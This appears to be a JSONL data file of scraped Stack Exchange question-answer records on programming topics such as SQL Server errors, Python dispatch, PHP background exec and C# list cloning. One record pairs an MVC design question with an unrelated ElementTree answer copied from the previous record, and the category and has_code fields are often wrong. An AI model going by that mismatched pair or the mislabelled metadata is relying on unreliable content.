{"id": "hf_c5acd1cc2070", "question": "<p>I have encapsulated a backup database command in a Try/Catch and it appears that the error message is being lost somewhere.  For example:</p>\n\n<pre><code>BACKUP DATABASE NonExistantDB TO DISK = 'C:\\TEMP\\NonExistantDB.bak'\n</code></pre>\n\n<p>..gives error:<br>\n<strong><em>Could not locate entry in sysdatabases for database 'NonExistantDB'. No entry found with that name. Make sure that the name is entered correctly. BACKUP DATABASE is terminating abnormally.</em></strong></p>\n\n<p>Whereas:</p>\n\n<pre><code>BEGIN TRY\n    BACKUP DATABASE NonExistantDB TO DISK = 'C:\\TEMP\\NonExistantDB.bak'\nEND TRY\nBEGIN CATCH\n    PRINT ERROR_MESSAGE()\nEND CATCH\n</code></pre>\n\n<p>... only gives error:  <strong><em>BACKUP DATABASE is terminating abnormally.</em></strong></p>\n\n<p>Is there a way to get the full error message or is this a limitation of try/catch?</p>\n", "question_body": "", "answer": "It's a limitation of try/catch.\nIf you look carefully at the error generated by executing\n```\n```\nBACKUP DATABASE NonExistantDB TO DISK = 'C:\\TEMP\\NonExistantDB.bak'\n```\n```\nyou'll find that there are two errors that get thrown. The first is msg 911, which states\nCould not locate entry in sysdatabases for database 'NonExistantDB'. No entry\n  found with that name. Make sure that the name is entered correctly.\nThe second is the 3013 message that you are displaying. Basically, SQL is only returning the last error.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.271438"}
{"id": "hf_ec6fec7ea2f6", "question": "<p>I'm working on a web application that will return a variable set of modules depending on user input. Each module is a Python class with a constructor that accepts a single parameter and has an '.html' property that contains the output.</p>\n\n<p>Pulling the class dynamically from the global namespace works:</p>\n\n<pre><code>result = globals()[classname](param).html\n</code></pre>\n\n<p>And it's certainly more succinct than:</p>\n\n<pre><code>if classname == 'Foo':\n    result = Foo(param).html\nelif classname == 'Bar':\n    ...\n</code></pre>\n\n<p>What is considered the best way to write this, stylistically? Are there risks or reasons not to use the global namespace?</p>\n", "question_body": "", "answer": "First of all, it sounds like you may be reinventing the wheel a little bit... most Python web frameworks (CherryPy/TurboGears is what I know) already include a way to dispatch requests to specific classes based on the contents of the URL, or the user input.\nThere is nothing\nwrong\nwith the way that you do it, really, but in my experience it tends to indicate some kind of \"missing abstraction\" in your program.  You're basically relying on the Python interpreter to store a list of the objects you might need, rather than storing it yourself.\nSo, as a first step, you might want to just make a dictionary of all the classes that you might want to call:\n```\n```\ndispatch = {'Foo': Foo, 'Bar': Bar, 'Bizbaz': Bizbaz}\n```\n```\nInitially, this won't make much of a difference.  But as your web app grows, you may find several advantages: (a) you won't run into namespace clashes, (b) using\n```\nglobals()\n```\nyou may have security issues where an attacker can, in essence, access any global symbol in your program if they can find a way to inject an arbitrary\n```\nclassname\n```\ninto your program, (c) if you ever want to have\n```\nclassname\n```\nbe something other than the actual exact classname, using your own dictionary will be more flexible, (d) you can replace the\n```\ndispatch\n```\ndictionary with a more-flexible user-defined class that does database access or something like that if you find the need.\nThe security issues are particularly salient for a web app.  Doing\n```\nglobals()[variable]\n```\nwhere\n```\nvariable\n```\nis input from a web form is just\nasking for trouble\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.305631"}
{"id": "hf_d64f17ba979b", "question": "<p>The default value for the first item in a drop down list is the name of the database field. I need to change it to a more user friendly name. How do I change the value?</p>\n", "question_body": "", "answer": "add a HTML Item onto the prompt page and add the following as an HTML item:\nExample:\n```\n<script>\n```\n```\ndocument.formWarpRequest._oLstChoicesMyList[0].text = '--SELECT A CITY--';\n```\n```\n</script>\n```\nReplace 'MyList' with the name of the component.\nfrom:\nlink text", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.340678"}
{"id": "hf_a4ce6b926276", "question": "<p>As the title suggests, is it correct or valid to import/export static data from within a C++ class?</p>\n\n<p>I found out my problem - the author of the class I was looking at was trying to export writable static data which isn't supported on this platform.</p>\n\n<p>Many thanks for the responses however.</p>\n", "question_body": "", "answer": "Is it correct inasmuch as it'll work and do what you expect it to? Assuming that you are talking about using _declspec(dllexport/dllimport) on a class or class member, yes, you can do that and it should give you the expected result - the static data would be accessible outside your dll and other C++ code could access it provided that that C++ access specification (public/protected/private) wouldn't block outside access in the first place.\nIs it a good idea? Personally I don't think so as you would be exposing class internals not only within your library but to the outside world, which means that it will be pretty much impossible to change what is an implementation detail at the end of the day. Ask yourself if you are 100% certain if the interface of this class and large parts of its implementation will never, ever change...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.426746"}
{"id": "hf_cb1712ceb078", "question": "<p>How can I use command line arguments in a <em>creationComplete</em> event handler? It seems the <em>invoke</em> event happens in my AIR app <strong>after</strong> creationComplete gets called, so I can't use the args in that function, although I really would like to. Any other event that might always fire <strong><em>after</em></strong> the <em>invoke</em> event happens?</p>\n", "question_body": "", "answer": "I don't think that will be possible. I just checked the sources and the invokes are set up in an enterframe handler AFTER the creationcomplete event has fired. You could perhaps subclass WindowedApplication and try to change that order, but there will probably be a good reason why it is implemented that way.\nYou can find the WindowedApplication.as file in [FLEX_DIR]\\sdks\\3.1.0\\frameworks\\projects\\airframework\\src\\mx\\core\nInteresting comment on line 2942:\nBecause of the behavior with the nativeApplication invoke event\nwe queue events up until windowComplete", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.461974"}
{"id": "hf_ff8b8f72e887", "question": "<p>I am currently using...</p>\n\n<pre><code>select Table_Name, Column_name, data_type, is_Nullable\nfrom information_Schema.Columns\n</code></pre>\n\n<p>...to determine information about columns in a given database for the purposes of generating a DataAccess Layer.</p>\n\n<p><strong>From where can I retrieve information about if these columns are participants in the primary key of their table?</strong></p>\n", "question_body": "", "answer": "Here is one way (replace 'keycol' with the column name you are searching\nfor):\n```\n```\nSELECT  K.TABLE_NAME ,\n    K.COLUMN_NAME ,\n    K.CONSTRAINT_NAME\nFROM    INFORMATION_SCHEMA.TABLE_CONSTRAINTS AS C\n        JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE AS K ON C.TABLE_NAME = K.TABLE_NAME\n                                                         AND C.CONSTRAINT_CATALOG = K.CONSTRAINT_CATALOG\n                                                         AND C.CONSTRAINT_SCHEMA = K.CONSTRAINT_SCHEMA\n                                                         AND C.CONSTRAINT_NAME = K.CONSTRAINT_NAME\nWHERE   C.CONSTRAINT_TYPE = 'PRIMARY KEY'\n        AND K.COLUMN_NAME = 'keycol';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.494948"}
{"id": "hf_8acefa87a18b", "question": "<p>I want to change a flash object enclosed within  with jQuery after an onClick event. The code I wrote, essentially:</p>\n\n<pre><code>$(enclosing div).html('');\n$(enclosing div).html(&lt;object&gt;My New Object&lt;/object&gt;);\n</code></pre>\n\n<p>works in Firefox but not in IE. I would appreciate pointers or suggestions on doing this. Thanks.</p>\n", "question_body": "", "answer": "The\n```\nempty()\n```\nmethod is the better way of deleting content. Don't know if that will solve your problem though :)\n```\n```\n$('#mydiv').empty();\n```\n```\nYou could also try the\n```\nreplaceWith(content)\n```\nmethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.518120"}
{"id": "hf_de1d657d60bc", "question": "<p>After using <a href=\"http://us.php.net/array_unique\" rel=\"noreferrer\"><code>array_unique</code></a>, an array without the duplicate values is removed. However, it appears that the keys are also removed, which leaves gaps in an array with numerical indexes (although is fine for an associative array). If I iterate using a for loop, I have to account for the missing indexes and just copy the keys to a new array, but that seems clumsy.</p>\n", "question_body": "", "answer": "```\n$foo = array_values($foo);\n```\nwill re-number an array for you", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.539423"}
{"id": "hf_34b69b407e26", "question": "<p>Does anybody use Scrum &amp; Sprint for Infrastructure.</p>\n\n<p>I'm struggling with the concept of a Sprint that never finishes  i.e. a Network enhancement project.</p>\n\n<p>Also any suggestions on how Item time can be built up to a Product Backlog, so that I can sanity check that resources are not overcommited on the sprint.</p>\n", "question_body": "", "answer": "I would suggest that you might start by refreshing your memory about the whole concept of Scrum (\nhttp://en.wikipedia.org/wiki/Scrum\nmight be a good place to start).\nFor example I don't believe that there should be such thing as a 'never finishing sprint'. If you have some very long and/or recurring task just break it into more specific ones. Network enhancement is very generic - break it down to:\na spike to research new network equipment\na spike to review your cables layout\na task to draw the equipment physical locations and wires diagram\nEstimate these and put them into your Backlog.\netc.\nThen plan short (1-2) week sprints or iterations. Assign a specific goal to each of them. Add some of your tasks from the backlog to the iteration. Complete it.\nReview the results, adjust the process, repeat.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.562786"}
{"id": "hf_aceb0b38b895", "question": "<p>If you provide <code>0</code> as the <code>dayValue</code> in <code>Date.setFullYear</code> you get the last day of the previous month:</p>\n\n<pre><code>d = new Date(); d.setFullYear(2008, 11, 0); //  Sun Nov 30 2008\n</code></pre>\n\n<p>There is reference to this behaviour at <a href=\"http://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Date/setFullYear\" rel=\"noreferrer\">mozilla</a>. Is this a reliable cross-browser feature or should I look at alternative methods?</p>\n", "question_body": "", "answer": "I would use an intermediate date with the first day of the next month, and return the date from the previous day:\n```\n```\nint_d = new Date(2008, 11+1,1);\nd = new Date(int_d - 1);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.673631"}
{"id": "hf_1e9e2a5bb3a3", "question": "<p>I have a list of about 600 jobs that I can't delete from the command line because they are attached to changelists.  The only way I know how to detach them is via the GUI, but that would take forever.  Does anyone know a better (i.e., faster) way?</p>\n", "question_body": "", "answer": "I figured it out using the \"fix\" and \"fixes\" commands.  Here's the procedure:\nDump the output of the \"fixes\" command to a file\n```\n```\np4 fixes > tmp.txt\n```\n```\nThe file will contain a bunch of lines like this:\n```\n```\njob005519 fixed by change 3177 on 2007/11/06 by raven@raven1 (closed)\njob005552 fixed by change 3320 on 2007/12/11 by raven@raven1 (closed)\njob005552 fixed by change 3318 on 2007/12/10 by raven@raven1 (closed)\n...\n```\n```\nUse your trusty text editor (and I'm not talking about Notepad here) to whip up a macro that converts the lines to Perforce commands to detach jobs from changelists, (p4 fix -d):\n```\n```\np4 fix -d -c 3177 job005519\np4 fix -d -c 3320 job005552\np4 fix -d -c 3318 job005552\n...\n```\n```\nSave the file as a .bat or .cmd file and run it, and bada bing, bada boom... all your jobs are detached from changelists and you can delete them using the GUI, or with a procedure similar to the one I just outlined and the output of the \"jobs\" command:\n```\n```\np4 jobs > tmp.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.762008"}
{"id": "hf_4896404d1e6b", "question": "<p>I am having trouble using the attribute XPath Selector in ElementTree, which I should be able to do according to the <a href=\"http://effbot.org/zone/element-xpath.htm\" rel=\"noreferrer\">Documentation</a></p>\n\n<p>Here's some sample code</p>\n\n<p><strong>XML</strong></p>\n\n<pre><code>&lt;root&gt;\n &lt;target name=\"1\"&gt;\n    &lt;a&gt;&lt;/a&gt;\n    &lt;b&gt;&lt;/b&gt;\n &lt;/target&gt;\n &lt;target name=\"2\"&gt;\n    &lt;a&gt;&lt;/a&gt;\n    &lt;b&gt;&lt;/b&gt;\n &lt;/target&gt;\n&lt;/root&gt;\n</code></pre>\n\n<p><strong>Python</strong></p>\n\n<pre><code>def parse(document):\n    root = et.parse(document)\n    for target in root.findall(\"//target[@name='a']\"):\n        print target._children\n</code></pre>\n\n<p>I am receiving the following Exception:</p>\n\n<pre><code>expected path separator ([)\n</code></pre>\n", "question_body": "", "answer": "The syntax you're trying to use is new in\nElementTree 1.3\n.\nSuch version is shipped with\nPython 2.7\nor higher.\nIf you have Python 2.6 or less you still have ElementTree 1.2.6 or less.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.820349"}
{"id": "hf_32f5679f8f58", "question": "<p>Using MVC with an observer pattern, if a user action requires polling a device (such as a camera) for data, should the polling be done in the Controller and the result passed off the Model or should a request be sent to the Model and the Model itself performs the polling.</p>\n\n<p>This question is my attempt to reconcile everything I am reading that touts the \"skinny Controllers\" maxim with my gut intuition that the Model should only be acting on data not acquiring it.</p>\n\n<p>(Note: This question <em>might</em> be subjective.  I'm not entirely sure that there is a one-true-answer to this question.  If not, feel free to retag as I will be very interested to hear opinions on the subject.)</p>\n", "question_body": "", "answer": "The syntax you're trying to use is new in\nElementTree 1.3\n.\nSuch version is shipped with\nPython 2.7\nor higher.\nIf you have Python 2.6 or less you still have ElementTree 1.2.6 or less.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.842310"}
{"id": "hf_0a0bc83d80b3", "question": "<p>Does anyone know what the character entity for a tab is in xhtml?\n(Um if there is one)...</p>\n", "question_body": "", "answer": "Try\n```\n&#9;\n```\n. The TAB is ASCII character #9.\nBut it may not show up as you'd expect, anyway, since HTML ignores whitespace in most instances.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.876049"}
{"id": "hf_9d4115f1a0da", "question": "<p>Being a application developer, do I need to know Unicode?</p>\n", "question_body": "", "answer": "Unicode is an industry agreed standard for consistently representing text that has capacity to represent the World's character systems. All developers need to know about it, as Globalization is a growing concern.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.899691"}
{"id": "hf_ca1b3227a9f8", "question": "<p>I've got a PHP script that needs to invoke a shell script but doesn't care at all about the output. The shell script makes a number of SOAP calls and is slow to complete, so I don't want to slow down the PHP request while it waits for a reply. In fact, the PHP request should be able to exit without terminating the shell process.</p>\n\n<p>I've looked into the various <code>exec()</code>, <code>shell_exec()</code>, <code>pcntl_fork()</code>, etc. functions, but none of them seem to offer exactly what I want. (Or, if they do, it's not clear to me how.) Any suggestions?</p>\n", "question_body": "", "answer": "If it \"doesn't care about the output\", couldn't the exec to the script be called with the\n```\n&\n```\nto background the process?\nEDIT\n- incorporating what @\nAdamTheHut\ncommented to this post, you can add this to a call to\n```\nexec\n```\n:\n```\n```\n\" > /dev/null 2>/dev/null &\"\n```\n```\nThat will redirect both\n```\nstdio\n```\n(first\n```\n>\n```\n) and\n```\nstderr\n```\n(\n```\n2>\n```\n) to\n```\n/dev/null\n```\nand run in the background.\nThere are other ways to do the same thing, but this is the simplest to read.\nAn alternative to the above double-redirect:\n```\n```\n\" &> /dev/null &\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.958192"}
{"id": "hf_6cf22aef5153", "question": "<p>I have a database table on a development server that is now fully populated after I set it running with an import routine for a CSV file containing 1.4 million rows.</p>\n\n<p>I ran the Database Publishing Wizard on the table, and now I have a 286MB SQL script on my local machine.  The problem is, I can't figure out how to run it.  If I load it into SQL Server Management Studio Express I get an alert window that says \"The operation could not be completed\".</p>\n\n<p>Any ideas on how I can get this SQL script to run?</p>\n", "question_body": "", "answer": "use the\nsqlcmd\ntool to execute the file..\n```\n```\nsqlcmd -S myServer\\instanceName -i C:\\myScript.sql\n```\n```\nIn case your have an unexplained \"script error\" for large sql files (> 100MB) which includes several INSERT, just replace \"INSERT INTO\" by \"GO INSERT INTO\" in your file, which will reduce size of transaction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.982083"}
{"id": "hf_fe17c8bd4c18", "question": "<p><strong>Java</strong> is the key here. I need to be able to delete files but users expect to be able to \"undelete\" from the recycle bin.  As far as I can tell this isn't possible.  Anyone know otherwise?</p>\n", "question_body": "", "answer": "For various reasons Windows\nhas no concept of a folder that simply corresponds to the Recycle Bin\n.\nThe correct way is to use JNI to invoke the Windows\n```\nSHFileOperation\n```\nAPI, setting the\n```\nFO_DELETE\n```\nflag in the\n```\nSHFILEOPSTRUCT\n```\nstructure.\nSHFileOperation documention\nJava example for copying a file using SHFileOperation\n(the Recycle Bin link in the same article doesn't work)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.087258"}
{"id": "hf_63d3b4d34cd0", "question": "<p>These two methods exhibit repetition:  </p>\n\n<pre><code>public static Expression&lt;Func&lt;Foo, FooEditDto&gt;&gt; EditDtoSelector()\n{\n    return f =&gt; new FooEditDto\n    {\n        PropertyA = f.PropertyA,\n        PropertyB = f.PropertyB,\n        PropertyC = f.PropertyC,\n        PropertyD = f.PropertyD,\n        PropertyE = f.PropertyE\n    };\n}\n\npublic static Expression&lt;Func&lt;Foo, FooListDto&gt;&gt; ListDtoSelector()\n{\n    return f =&gt; new FooDto\n    {\n        PropertyA = f.PropertyA,\n        PropertyB = f.PropertyB,\n        PropertyC = f.PropertyC\n    };\n}\n</code></pre>\n\n<p>How can I refactor to eliminate this repetition?</p>\n\n<p>UPDATE: Oops, I neglected to mention an important point.  FooEditDto is a subclass of FooDto.</p>\n", "question_body": "", "answer": "The repetition is in the names, but C# has no idea that PropertyA in one class is connected with PropertyA in another. You have to make the connection explicitly. The way you did it works fine. If you had enough of these, you might consider using reflection to write one method that could do this for any pair of classes.\nDo pay attention to the performance implications of whatever method you choose. Reflection by itself is slower. However, you could also use reflection to  emit IL that would, once it's emitted, run just as fast as what you have written. You could also generate an expression tree and convert it to a compiled delegate. These techniques are somewhat complicated, so you have to weigh the trade-offs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.157679"}
{"id": "hf_795e1f4df069", "question": "<p>At the moment my code looks like this:</p>\n\n<pre><code># Assign values for saving to the db\n$data = array(\n    'table_of_contents' =&gt; $_POST['table_of_contents'],\n    'length' =&gt; $_POST['length']\n);\n\n# Check for fields that may not be set\nif ( isset($_POST['lossless_copy']) )\n{\n   $data = array(\n       'lossless_copy' =&gt; $_POST['lossless_copy']\n    );\n}\n\n// etc.\n</code></pre>\n\n<p>This would lead to endless if statements though... Even with the ternary syntax it's still messy. Is there a better way?</p>\n", "question_body": "", "answer": "```\n```\nforeach ($_POST as $key => $value) {\n  $data[$key] = $value;\n}\n```\n```\nremember to sanitize your $_POST values!\nedit\n: if you're looking to match up optional $_POST values with fields that may or may not exist in your table, you could do something like this (i'm assuming you're using mysql):\n```\n```\n$fields = array();\n$table  = 'Current_Table';\n\n// we are not using mysql_list_fields() as it is deprecated\n$query  = \"SHOW COLUMNS from {$table}\";\n$result = mysql_query($query);\nwhile ($get = mysql_fetch_object($result) ) {\n  $fields[] = $get->Field;\n}\n\nforeach($fields as $field) {\n  if (isset($_POST[$field]) ) {\n    $data[$field] = $_POST[$field];\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.181441"}
{"id": "hf_786266c5e226", "question": "<p>I have something like the following in an ASP.NET MVC application:</p>\n\n<pre><code>IEnumerable&lt;string&gt; list = GetTheValues();\nvar selectList = new SelectList(list, \"SelectedValue\");\n</code></pre>\n\n<p>And even thought the selected value is defined, it is not being selected on the view.  I have this feeling I'm missing something here, so if anyone can put me out my misery!</p>\n\n<p>I know I can use an annoymous type to supply the key and value, but I would rather not add the additional code if I didn't have to.</p>\n\n<p>EDIT: This problem has been fixed by ASP.NET MVC RTM.</p>\n", "question_body": "", "answer": "Try this instead:\n```\n```\nIDictionary<string,string> list = GetTheValues();\nvar selectList = new SelectList(list, \"Key\", \"Value\", \"SelectedValue\");\n```\n```\nSelectList (at least in Preview 5) is not clever enough to see that elements of IEnumerable are value type and so it should use the item for both value and text.  Instead it sets the value of each item to \"null\" or something like that.  That's why the selected value has no effect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.220106"}
{"id": "hf_53c29893ac01", "question": "<p>Pexpect can be used to automate tasks in python (does not need TCL to be installed). One of the simplest routines of this class is the 'run()' routine. It accepts a dictionary of expected question patterns as keys and the responses as values. For example</p>\n\n<p>pexpect.run ('scp foo myname@host.example.com:.', events={'(?i)password': mypassword})</p>\n\n<p>I know that usually '?' is used to indicate 0 or 1 occurrences of previous literal in the string (for regular expressions that is). However, over here, this does not seem to be the meaning. </p>\n\n<p>Can experts comment on what is it?</p>\n", "question_body": "", "answer": "https://docs.python.org/library/re.html#regular-expression-syntax\n(?...)    This is an extension\n  notation (a \"?\" following a \"(\" is not\n  meaningful otherwise). The first\n  character after the \"?\" determines\n  what the meaning and further syntax of\n  the construct is. Extensions usually\n  do not create a new group;\n  (?P...) is the only exception to\n  this rule. Following are the currently\n  supported extensions.\n(?iLmsux)    (One or more letters from\n  the set \"i\", \"L\", \"m\", \"s\", \"u\", \"x\".)\n  The group matches the empty string;\n  the letters set the corresponding\n  flags (re.I, re.L, re.M, re.S, re.U,\n  re.X) for the entire regular\n  expression. This is useful if you wish\n  to include the flags as part of the\n  regular expression, instead of passing\n  a flag argument to the compile()\n  function.\nNote that the (?x) flag changes how\n  the expression is parsed. It should be\n  used first in the expression string,\n  or after one or more whitespace\n  characters. If there are\n  non-whitespace characters before the\n  flag, the results are undefined.\nSo in this case the string is a regular expression, and is set to be case-insensitive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.243321"}
{"id": "hf_cc6501279808", "question": "<p>To use Google Analytics, you put some JavaScript code in your web page which will make an asynchronous request to Google when the page loads.</p>\n\n<p>From what I have read, this shouldn't block or slow down page load times if you include it directly before the end of your HTML Body.  To verify this, I want to make the request after some period of time.  The user should be able to log into my site regardless of the time it takes for the request to Google or if it comes back at all (the tracking code is on the login page).</p>\n\n<p>There is a 'pageTracker._trackPageview()' function call in the Google Tracking code.  Is this where the request is sent to Google?</p>\n\n<p>If so, should I just do:</p>\n\n<pre><code>window.setTimeout(pageTracker._trackPageview(), 5000);\n</code></pre>\n\n<p>any help is appreciated, especially if you have worked with Google Analytics and have this same problem.</p>\n", "question_body": "", "answer": "That should do it. Put some quotes around the call:\n```\n```\nwindow.setTimeout(\"pageTracker._trackPageview()\", 5000);\n```\n```\nYou can check this using Firebug if you want to see the request go through.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.279496"}
{"id": "hf_3bb789bba8ae", "question": "<p>Has anyone here ever used C++'s \"placement new\"? If so, what for? It looks to me like it would only be useful on memory-mapped hardware.</p>\n", "question_body": "", "answer": "It is useful if you are building a kernel - where do you place the kernel code you read from disk or the pagetable? You need to know where to jump to.\nOr in other, very rare circumstances such as when you have loads of allocated room and want to place a few structures behind each other. They can be packed this way without the need for the offsetof() operator. There are other tricks for that too, though.\nI also believe some STL implementations make use of placement new, like std::vector. They allocate room for 2^n elements that way and don't need to always realloc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.302886"}
{"id": "hf_eba008bd276d", "question": "<p>I have a few questions related:</p>\n\n<p>1) Is possible to make my program change filetype association but only when is running? Do you see anything wrong with this behavior?</p>\n\n<p>2) The other option that I'm seeing is to let users decide to open with my application or restore default association ... something like: \"capture all .lala files\" or \"restore .lala association\". How can I do this? What do you think that is the best approach?</p>\n", "question_body": "", "answer": "It can probably be done but I think it would end up being cumbersome.  All file type associations are stored in the registry so you would have to write/revert registry entries every time your app starts and stops.  Also, depending on how frequently you do it the new associations may not be picked up in Windows explorer immediately.\nThe associations are listed under HKEY_CLASSES_ROOT in the registry and can be mapped a whole myriad of ways (mime types/progIDs/etc).\nMany apps I have seen ask if you want to associate certain file types with the application during install time, and give you the ability to opt-out and leave the current settings.\nI don't think I'd recommend \"on the fly\" file type associations", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.326187"}
{"id": "hf_13f2b344d6c8", "question": "<p>I'm looking for a simple Python script that can minify CSS as part of a web-site deployment process. (Python is the only scripting language supported on the server and full-blown parsers like <a href=\"http://cthedot.de/cssutils/\" rel=\"noreferrer\">CSS Utils</a> are overkill for this project).</p>\n\n<p>Basically I'd like <a href=\"http://www.crockford.com/javascript/jsmin.py.txt\" rel=\"noreferrer\">jsmin.py</a> for CSS. A single script with no dependencies.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "I don't know of any ready made python css minifiers, but like you said css utils has the option. After checking and verifying that the license allows for it, you could go through the source code and snip out the portions that do the minifying yourself. Then stick this in a single script and voila! There you go.\nAs a head start, the csscombine function in .../trunk/src/cssutils/script.py seems to do the work of minifying somewhere around line 361 (I checked out revision 1499). Note the boolean function argument called \"minify\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.384998"}
{"id": "hf_28eadc36beee", "question": "<p>I have a generic list of objects in C#, and wish to clone the list. The items within the list are cloneable, but there doesn't seem to be an option to do <code>list.Clone()</code>.</p>\n\n<p>Is there an easy way around this?</p>\n", "question_body": "", "answer": "For a shallow copy, you can instead use the GetRange method of the generic List class.\n```\n```\nList<int> oldList = new List<int>( );\n// Populate oldList...\n\nList<int> newList = oldList.GetRange(0, oldList.Count);\n```\n```\nQuoted from:\nGenerics Recipes", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.426171"}
